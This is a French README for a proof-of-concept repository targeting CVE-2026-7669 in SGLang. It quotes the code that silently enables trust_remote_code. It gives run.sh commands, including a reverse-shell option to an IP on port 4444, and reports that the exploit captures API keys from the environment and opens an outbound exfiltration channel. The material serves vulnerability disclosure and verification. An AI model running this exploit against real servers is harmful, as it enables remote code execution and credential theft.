
PoC pour CVE-2026-7669 : remplacement silencieux de trust_remote_code dans SGLang -> RCE
SGLang remplace silencieusement trust_remote_code=False par True et ré-invoque
AutoTokenizer.from_pretrained dès que transformers v5 renvoie un objet
TokenizersBackend. Un modèle avec un tokenizer_class personnalisé et un
auto_map pointant vers tokenizer.py atteint une exécution de code arbitraire
dans le processus SGLang même lorsque l'opérateur a passé False. Aucune ligne
de journal n'est émise à quelque niveau que ce soit.
main actuel (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Élevéif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introduit dans la PR #17784
(commit d1e95af28, 2026-03-18). La notification originale logger.info(...)
a été supprimée par le commit 27ac831a8 (2026-03-23) sous un titre
« docs: improve CI and testing documentation », laissant la substitution
entièrement silencieuse dans chaque version vulnérable publiée.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Construit une image Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Autres modes :
./run.sh --server reproduire via TokenizerManager.__init__
./run.sh --versions matrice transformers 5.0..5.5
./run.sh --revshell IP reverse shell optionnel vers IP:4444
./run.sh --rebuild forcer la reconstruction --no-cache
./run.sh --copy-ledger ./ledger.json
La sortie 0 signifie confirmé. Résumé final :
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Codes de sortie :
| Code | Signification |
|---|---|
| 0 | Confirmé |
| 1 | Non déclenché |
| 2 | Faux positif (transformers lui-même a exécuté tokenizer.py, le bug est en amont) |
| 3 | Vérification préalable de la version épinglée échouée |
La phase de vérification préalable lit pinned_versions.json et vérifie chaque
valeur par rapport à l'environnement d'exécution. Toute dérive entraîne une
sortie 3 avant l'exécution des tests.
| Composant | Épinglage |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 de hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 du bloc vulnérable (lignes 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Métrique | Valeur | Appuyé par |
|---|---|---|
| AV | N | Les fichiers déclencheurs (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) sont la disposition standard auto_map du HF Hub. Tout registre qui les sert atteint le bug. |
| AC | L | PHASE-2 se déclenche de manière déterministe en une seule exécution. Chaque condition de déclenchement est un contenu créé par l'attaquant. PRE-1..7 confirment l'absence d'empreinte environnementale. |
| PR | N | Un téléversement gratuit sur le HF Hub est suffisant. Rien dans la chaîne de déclenchement n'exige de privilège préexistant sur la victime. |
| UI | R | Le déclenchement ne se produit que lorsqu'un opérateur (ou un pipeline configuré par l'opérateur) invoque launch_server --model-path attacker/model. |
| S | U | Toutes les affirmations SEV-* s'exécutent dans l'autorité du processus SGLang. Aucune évasion de sandbox ou de conteneur. |
| C | H | SEV-secrets capture HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY depuis l'environnement du processus. SEV-network ouvre un canal d'exfiltration TCP sortant. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip sont quatre primitives d'intégrité indépendantes dans des emplacements sensibles différents. |
| A | H | Déduit de l'RCE. SEV-pip prouve l'exécution arbitraire de sous-processus, qui est la même primitive nécessaire pour un auto-DoS. Le PoC ne démontre pas directement une auto-destruction. |
8.8 est le plancher conservateur. 9.6 (avec S:C) et 10.0 (avec S:C et
UI:N) sont défendables mais dépendent de l'évaluateur.
UI:N n'est pas justifié pour cette CVE. Le serveur HTTP de SGLang possède
un contournement réel d'absence d'authentification par défaut lorsque
api_key=None et admin_api_key=None (vérifié par AUTH-1 contre la primitive
decide_request_auth à l'exécution), mais aucun point de terminaison HTTP
n'atteint get_tokenizer après le démarrage (vérifié par CHAIN-1). Les quatre
sites d'appel de get_tokenizer (TokenizerManager.__init__,
Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__)
se déclenchent une fois au lancement du serveur à partir du --model-path
fourni par l'opérateur. Le contournement d'authentification est donc un
problème distinct et non un partenaire de chaîne pour la CVE-2026-7669.
Le PoC écrit un registre JSON dans /tmp/poc_claim_ledger.json avec 29
affirmations testables individuellement. Utilisez ./run.sh --copy-ledger ./ledger.json pour l'extraire.